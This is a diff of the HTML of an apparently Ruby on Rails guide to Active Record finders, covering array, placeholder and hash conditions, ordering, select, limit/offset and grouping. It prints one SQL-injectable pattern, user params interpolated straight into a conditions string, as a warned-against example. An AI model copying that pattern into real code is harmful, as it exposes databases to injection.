<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>first<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"orders_count = #{params[:orders]}"</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>is because of parameter safety. Putting the variable directly into the conditions string will pass the variable to the database <strong>as-is</strong>. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your parameters directly inside the conditions string.</p></div>
+<pre><tt>Client<span style="color: #990000">.</span>first<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"orders_count = #{params[:orders]}"</span><span style="color: #990000">)</span></tt></pre></div></div>
+<div class="paragraph"><p>is because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database <strong>as-is</strong>. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string.</p></div>
<div class="admonitionblock">
<table><tr>
<td class="icon">
@@ -523,16 +355,15 @@ http://www.gnu.org/software/src-highlite -->
<td class="content">For more information on the dangers of SQL injection, see the <a href="../security.html#_sql_injection">Ruby on Rails Security Guide</a>.</td>
</tr></table>
</div>
-<div class="para"><p>If you're looking for a range inside of a table (for example, users created in a certain timeframe) you can use the conditions option coupled with the IN sql statement for this. If you had two dates coming in from a controller you could do something like this to look for a range:</p></div>
+<div class="paragraph"><p>If you&#8217;re looking for a range inside of a table (for example, users created in a certain timeframe) you can use the conditions option coupled with the IN sql statement for this. If you had two dates coming in from a controller you could do something like this to look for a range:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>Client<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"created_at IN (?)"</span><span style="color: #990000">,</span>
- <span style="color: #990000">(</span>params<span style="color: #990000">[:</span>start_date<span style="color: #990000">].</span>to_date<span style="color: #990000">)..(</span>params<span style="color: #990000">[:</span>end_date<span style="color: #990000">].</span>to_date<span style="color: #990000">)])</span>
-</tt></pre></div></div>
-<div class="para"><p>This would generate the proper query which is great for small ranges but not so good for larger ranges. For example if you pass in a range of date objects spanning a year that's 365 (or possibly 366, depending on the year) strings it will attempt to match your field against.</p></div>
+ <span style="color: #990000">(</span>params<span style="color: #990000">[:</span>start_date<span style="color: #990000">].</span>to_date<span style="color: #990000">)..(</span>params<span style="color: #990000">[:</span>end_date<span style="color: #990000">].</span>to_date<span style="color: #990000">)])</span></tt></pre></div></div>
+<div class="paragraph"><p>This would generate the proper query which is great for small ranges but not so good for larger ranges. For example if you pass in a range of date objects spanning a year that&#8217;s 365 (or possibly 366, depending on the year) strings it will attempt to match your field against.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -545,17 +376,15 @@ http://www.gnu.org/software/src-highlite -->
<span style="color: #FF0000">'2008-01-18'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-19'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-20'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-21'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-22'</span><span style="color: #990000">,</span><span style="color: #FF0000">'2008-01-23'</span><span style="color: #990000">,...</span>
‘<span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">15</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">16</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">17</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">18</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">19</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">20</span><span style="color: #FF0000">',</span>
<span style="color: #FF0000"> '</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">21</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">22</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">23</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">24</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">25</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">26</span><span style="color: #FF0000">',</span>
-<span style="color: #FF0000"> '</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">27</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">28</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">29</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">30</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">31</span><span style="color: #FF0000">'))</span>
-</tt></pre></div></div>
-<div class="para"><p>Things can get <strong>really</strong> messy if you pass in time objects as it will attempt to compare your field to <strong>every second</strong> in that range:</p></div>
+<span style="color: #FF0000"> '</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">27</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">28</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">29</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">30</span><span style="color: #FF0000">','</span><span style="color: #993399">2008</span><span style="color: #990000">-</span><span style="color: #993399">12</span><span style="color: #990000">-</span><span style="color: #993399">31</span><span style="color: #FF0000">'))</span></tt></pre></div></div>
+<div class="paragraph"><p>Things can get <strong>really</strong> messy if you pass in Time objects as it will attempt to compare your field to <strong>every second</strong> in that range:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>Client<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"created_at IN (?)"</span><span style="color: #990000">,</span>
- <span style="color: #990000">(</span>params<span style="color: #990000">[:</span>start_date<span style="color: #990000">].</span>to_date<span style="color: #990000">.</span>to_time<span style="color: #990000">)..(</span>params<span style="color: #990000">[:</span>end_date<span style="color: #990000">].</span>to_date<span style="color: #990000">.</span>to_time<span style="color: #990000">)])</span>
-</tt></pre></div></div>
+ <span style="color: #990000">(</span>params<span style="color: #990000">[:</span>start_date<span style="color: #990000">].</span>to_date<span style="color: #990000">.</span>to_time<span style="color: #990000">)..(</span>params<span style="color: #990000">[:</span>end_date<span style="color: #990000">].</span>to_date<span style="color: #990000">.</span>to_time<span style="color: #990000">)])</span></tt></pre></div></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -563,119 +392,185 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> users <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span> <span style="color: #990000">(</span>created_at <span style="font-weight: bold"><span style="color: #0000FF">IN</span></span>
<span style="color: #990000">(</span><span style="color: #FF0000">'2007-12-01 00:00:00'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'2007-12-01 00:00:01'</span> <span style="color: #990000">...</span>
- <span style="color: #FF0000">'2007-12-01 23:59:59'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'2007-12-02 00:00:00'</span><span style="color: #990000">))</span>
-</tt></pre></div></div>
-<div class="para"><p>This could possibly cause your database server to raise an unexpected error, for example MySQL will throw back this error:</p></div>
+ <span style="color: #FF0000">'2007-12-01 23:59:59'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'2007-12-02 00:00:00'</span><span style="color: #990000">))</span></tt></pre></div></div>
+<div class="paragraph"><p>This could possibly cause your database server to raise an unexpected error, for example MySQL will throw back this error:</p></div>
<div class="listingblock">
<div class="content">
<pre><tt>Got a packet bigger than 'max_allowed_packet' bytes: _query_</tt></pre>
</div></div>
-<div class="para"><p>Where <em>query</em> is the actual query used to get that error.</p></div>
-<div class="para"><p>In this example it would be better to use greater-than and less-than operators in SQL, like so:</p></div>
+<div class="paragraph"><p>Where <em>query</em> is the actual query used to get that error.</p></div>
+<div class="paragraph"><p>In this example it would be better to use greater-than and less-than operators in SQL, like so:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>Client<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span>
- <span style="color: #990000">[</span><span style="color: #FF0000">"created_at &gt; ? AND created_at &lt; ?"</span><span style="color: #990000">,</span> params<span style="color: #990000">[:</span>start_date<span style="color: #990000">],</span> params<span style="color: #990000">[:</span>end_date<span style="color: #990000">]])</span>
-</tt></pre></div></div>
-<div class="para"><p>You can also use the greater-than-or-equal-to and less-than-or-equal-to like this:</p></div>
+ <span style="color: #990000">[</span><span style="color: #FF0000">"created_at &gt; ? AND created_at &lt; ?"</span><span style="color: #990000">,</span> params<span style="color: #990000">[:</span>start_date<span style="color: #990000">],</span> params<span style="color: #990000">[:</span>end_date<span style="color: #990000">]])</span></tt></pre></div></div>
+<div class="paragraph"><p>You can also use the greater-than-or-equal-to and less-than-or-equal-to like this:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>Client<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span>
- <span style="color: #990000">[</span><span style="color: #FF0000">"created_at &gt;= ? AND created_at &lt;= ?"</span><span style="color: #990000">,</span> params<span style="color: #990000">[:</span>start_date<span style="color: #990000">],</span> params<span style="color: #990000">[:</span>end_date<span style="color: #990000">]])</span>
-</tt></pre></div></div>
-<div class="para"><p>Just like in Ruby.</p></div>
-<h3 id="_placeholder_conditions">4.3. Placeholder Conditions</h3>
-<div class="para"><p>Similar to the array style of params you can also specify keys in your conditions:</p></div>
+ <span style="color: #990000">[</span><span style="color: #FF0000">"created_at &gt;= ? AND created_at &lt;= ?"</span><span style="color: #990000">,</span> params<span style="color: #990000">[:</span>start_date<span style="color: #990000">],</span> params<span style="color: #990000">[:</span>end_date<span style="color: #990000">]])</span></tt></pre></div></div>
+<div class="paragraph"><p>Just like in Ruby. If you want a shorter syntax be sure to check out the <a href="#_hash_conditions">Hash Conditions</a> section later on in the guide.</p></div>
+<h3 id="_placeholder_conditions">2.3. Placeholder Conditions</h3>
+<div class="paragraph"><p>Similar to the array style of params you can also specify keys in your conditions:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>Client<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span>
- <span style="color: #990000">[</span><span style="color: #FF0000">"created_at &gt;= :start_date AND created_at &lt;= :end_date"</span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>start_date <span style="color: #990000">=&gt;</span> params<span style="color: #990000">[:</span>start_date<span style="color: #990000">],</span> <span style="color: #990000">:</span>end_date <span style="color: #990000">=&gt;</span> params<span style="color: #990000">[:</span>end_date<span style="color: #990000">]</span> <span style="color: #FF0000">}</span><span style="color: #990000">])</span>
-</tt></pre></div></div>
-<div class="para"><p>This makes for clearer readability if you have a large number of variable conditions.</p></div>
+ <span style="color: #990000">[</span><span style="color: #FF0000">"created_at &gt;= :start_date AND created_at &lt;= :end_date"</span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>start_date <span style="color: #990000">=&gt;</span> params<span style="color: #990000">[:</span>start_date<span style="color: #990000">],</span> <span style="color: #990000">:</span>end_date <span style="color: #990000">=&gt;</span> params<span style="color: #990000">[:</span>end_date<span style="color: #990000">]</span> <span style="color: #FF0000">}</span><span style="color: #990000">])</span></tt></pre></div></div>
+<div class="paragraph"><p>This makes for clearer readability if you have a large number of variable conditions.</p></div>
+<h3 id="_hash_conditions">2.4. Hash Conditions</h3>
+<div class="paragraph"><p>Rails also allows you to pass in a hash conditions which can increase the readability of your conditions syntax. With hash conditions, you pass in a hash with keys of the fields you want conditionalised and the values of how you want to conditionalise them:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Client<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>locked <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="color: #FF0000">}</span><span style="color: #990000">)</span></tt></pre></div></div>
+<div class="paragraph"><p>The field name does not have to be a symbol it can also be a string:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Client<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #FF0000">'locked'</span> <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="color: #FF0000">}</span><span style="color: #990000">)</span></tt></pre></div></div>
+<div class="paragraph"><p>The good thing about this is that we can pass in a range for our fields without it generating a large query as shown in the preamble of this section.</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Client<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>created_at <span style="color: #990000">=&gt;</span> <span style="color: #990000">(</span>Time<span style="color: #990000">.</span>now<span style="color: #990000">.</span>midnight <span style="color: #990000">-</span> <span style="color: #993399">1</span><span style="color: #990000">.</span>day<span style="color: #990000">)..</span>Time<span style="color: #990000">.</span>now<span style="color: #990000">.</span>midnight<span style="color: #FF0000">}</span><span style="color: #990000">)</span></tt></pre></div></div>
+<div class="paragraph"><p>This will find all clients created yesterday by using a BETWEEN sql statement:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> <span style="color: #FF0000">`clients`</span> <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span> <span style="color: #990000">(</span><span style="color: #FF0000">`clients`</span><span style="color: #990000">.</span><span style="color: #FF0000">`created_at`</span> <span style="font-weight: bold"><span style="color: #0000FF">BETWEEN</span></span> <span style="color: #FF0000">'2008-12-21 00:00:00'</span> <span style="font-weight: bold"><span style="color: #0000FF">AND</span></span> <span style="color: #FF0000">'2008-12-22 00:00:00'</span><span style="color: #990000">)</span></tt></pre></div></div>
+<div class="paragraph"><p>This demonstrates a shorter syntax for the examples in <a href="#_array_conditions">Array Conditions</a></p></div>
+<div class="paragraph"><p>You can also join in tables and specify their columns in the hash:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Client<span style="color: #990000">.</span>all<span style="color: #990000">(:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"orders"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #FF0000">'orders.created_at'</span> <span style="color: #990000">=&gt;</span> <span style="color: #990000">(</span>Time<span style="color: #990000">.</span>now<span style="color: #990000">.</span>midnight <span style="color: #990000">-</span> <span style="color: #993399">1</span><span style="color: #990000">.</span>day<span style="color: #990000">)..</span>Time<span style="color: #990000">.</span>now<span style="color: #990000">.</span>midnight <span style="color: #FF0000">}</span><span style="color: #990000">)</span></tt></pre></div></div>
+<div class="paragraph"><p>An alternative and cleaner syntax to this is:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Client<span style="color: #990000">.</span>all<span style="color: #990000">(:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"orders"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>orders <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>created_at <span style="color: #990000">=&gt;</span> <span style="color: #990000">(</span>Time<span style="color: #990000">.</span>now<span style="color: #990000">.</span>midnight <span style="color: #990000">-</span> <span style="color: #993399">1</span><span style="color: #990000">.</span>day<span style="color: #990000">)..</span>Time<span style="color: #990000">.</span>now<span style="color: #990000">.</span>midnight <span style="color: #FF0000">}</span> <span style="color: #FF0000">}</span><span style="color: #990000">)</span></tt></pre></div></div>
+<div class="paragraph"><p>This will find all clients who have orders that were created yesterday, again using a BETWEEN expression.</p></div>
+<div class="paragraph"><p>If you want to find records using the IN expression you can pass an array to the conditions hash:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Client<span style="color: #990000">.</span>all<span style="color: #990000">(:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"orders"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>orders_count <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #993399">1</span><span style="color: #990000">,</span><span style="color: #993399">3</span><span style="color: #990000">,</span><span style="color: #993399">5</span><span style="color: #990000">]</span> <span style="color: #FF0000">}</span></tt></pre></div></div>
+<div class="paragraph"><p>This code will generate SQL like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> <span style="color: #FF0000">`clients`</span> <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span> <span style="color: #990000">(</span><span style="color: #FF0000">`clients`</span><span style="color: #990000">.</span><span style="color: #FF0000">`orders_count`</span> <span style="font-weight: bold"><span style="color: #0000FF">IN</span></span> <span style="color: #990000">(</span><span style="color: #993399">1</span><span style="color: #990000">,</span><span style="color: #993399">2</span><span style="color: #990000">,</span><span style="color: #993399">3</span><span style="color: #990000">))</span></tt></pre></div></div>
</div>
-<h2 id="_ordering">5. Ordering</h2>
+<h2 id="_ordering">3. Ordering</h2>
<div class="sectionbody">
-<div class="para"><p>If you're getting a set of records and want to force an order, you can use <tt>Client.all(:order &#8658; "created_at")</tt> which by default will sort the records by ascending order. If you'd like to order it in descending order, just tell it to do that using <tt>Client.all(:order &#8658; "created_at desc")</tt></p></div>
+<div class="paragraph"><p>If you&#8217;re getting a set of records and want to order them in ascending order by the <tt>created_at</tt> field in your table, you can use <tt>Client.all(:order =&gt; "created_at")</tt>. If you&#8217;d like to order it in descending order, just tell it to do that using <tt>Client.all(:order =&gt; "created_at desc")</tt>. The value for this option is passed in as sanitized SQL and allows you to sort via multiple fields: <tt>Client.all(:order =&gt; "created_at desc, orders_count asc")</tt>.</p></div>
</div>
-<h2 id="_selecting_certain_fields">6. Selecting Certain Fields</h2>
+<h2 id="_selecting_certain_fields">4. Selecting Certain Fields</h2>
<div class="sectionbody">
-<div class="para"><p>To select certain fields, you can use the select option like this: <tt>Client.first(:select &#8658; "viewable_by, locked")</tt>. This select option does not use an array of fields, but rather requires you to type SQL-like code. The above code will execute <tt>SELECT viewable_by, locked FROM clients LIMIT 0,1</tt> on your database.</p></div>
-<div class="para"><p>You can also call SQL functions within the select option. For example, if you would like to only grab a single record per unique value in a certain field by using the <tt>DISTINCT</tt> function you can do it like this: <tt>Client.all(:select &#8658; "DISTINCT(name)")</tt>.</p></div>
+<div class="paragraph"><p>To select certain fields, you can use the select option like this: <tt>Client.first(:select =&gt; "viewable_by, locked")</tt>. This select option does not use an array of fields, but rather requires you to type SQL-like code. The above code will execute <tt>SELECT viewable_by, locked FROM clients LIMIT 1</tt> on your database.</p></div>
+<div class="paragraph"><p>Be careful because this also means you&#8217;re initializing a model object with only the fields that you&#8217;ve selected. If you attempt to access a field that is not in the initialized record you&#8217;ll receive:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>ActiveRecord::MissingAttributeError: missing attribute: &lt;attribute&gt;</tt></pre>
+</div></div>
+<div class="paragraph"><p>Where &lt;attribute&gt; is the atrribute you asked for. The <tt>id</tt> method will not raise the <tt>ActiveRecord::MissingAttributeError</tt>, so just be careful when working with associations because they need the <tt>id</tt> method to function properly.</p></div>
+<div class="paragraph"><p>You can also call SQL functions within the select option. For example, if you would like to only grab a single record per unique value in a certain field by using the <tt>DISTINCT</tt> function you can do it like this: <tt>Client.all(:select =&gt; "DISTINCT(name)")</tt>.</p></div>
</div>
-<h2 id="_limit_amp_offset">7. Limit &amp; Offset</h2>
+<h2 id="_limit_amp_offset">5. Limit &amp; Offset</h2>
<div class="sectionbody">
-<div class="para"><p>If you want to limit the amount of records to a certain subset of all the records retrieved you usually use limit for this, sometimes coupled with offset. Limit is the maximum number of records that will be retrieved from a query, and offset is the number of records it will start reading from from the first record of the set. Take this code for example:</p></div>
+<div class="paragraph"><p>If you want to limit the amount of records to a certain subset of all the records retrieved you usually use limit for this, sometimes coupled with offset. Limit is the maximum number of records that will be retrieved from a query, and offset is the number of records it will start reading from from the first record of the set. Take this code for example:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>limit <span style="color: #990000">=&gt;</span> <span style="color: #993399">5</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>This code will return a maximum of 5 clients and because it specifies no offset it will return the first 5 clients in the table. The SQL it executes will look like this:</p></div>
+<pre><tt>Client<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>limit <span style="color: #990000">=&gt;</span> <span style="color: #993399">5</span><span style="color: #990000">)</span></tt></pre></div></div>
+<div class="paragraph"><p>This code will return a maximum of 5 clients and because it specifies no offset it will return the first 5 clients in the table. The SQL it executes will look like this:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients <span style="font-weight: bold"><span style="color: #0000FF">LIMIT</span></span> <span style="color: #993399">5</span>
-</tt></pre></div></div>
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients <span style="font-weight: bold"><span style="color: #0000FF">LIMIT</span></span> <span style="color: #993399">5</span></tt></pre></div></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>limit <span style="color: #990000">=&gt;</span> <span style="color: #993399">5</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>offset <span style="color: #990000">=&gt;</span> <span style="color: #993399">5</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>This code will return a maximum of 5 clients and because it specifies an offset this time, it will return these records starting from the 5th client in the clients table. The SQL looks like:</p></div>
+<pre><tt>Client<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>limit <span style="color: #990000">=&gt;</span> <span style="color: #993399">5</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>offset <span style="color: #990000">=&gt;</span> <span style="color: #993399">5</span><span style="color: #990000">)</span></tt></pre></div></div>
+<div class="paragraph"><p>This code will return a maximum of 5 clients and because it specifies an offset this time, it will return these records starting from the 5th client in the clients table. The SQL looks like:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients <span style="font-weight: bold"><span style="color: #0000FF">LIMIT</span></span> <span style="color: #993399">5</span><span style="color: #990000">,</span> <span style="color: #993399">5</span>
-</tt></pre></div></div>
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients <span style="font-weight: bold"><span style="color: #0000FF">LIMIT</span></span> <span style="color: #993399">5</span><span style="color: #990000">,</span> <span style="color: #993399">5</span></tt></pre></div></div>
</div>
-<h2 id="_group">8. Group</h2>
+<h2 id="_group">6. Group</h2>
<div class="sectionbody">
-<div class="para"><p>The group option for find is useful, for example, if you want to find a collection of the dates orders were created on. You could use the option in this context:</p></div>
+<div class="paragraph"><p>The group option for find is useful, for example, if you want to find a collection of the dates orders were created on. You could use the option in this context:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>Order<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>group <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"date(created_at)"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>order <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"created_at"</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>And this will give you a single <tt>Order</tt> object for each date where there are orders in the database.</p></div>
-<div class="para"><p>The SQL that would be executed would be something like this:</p></div>
+<pre><tt>Order<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>group <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"date(created_at)"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>order <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"created_at"</span><span style="color: #990000">)</span></tt></pre></div></div>
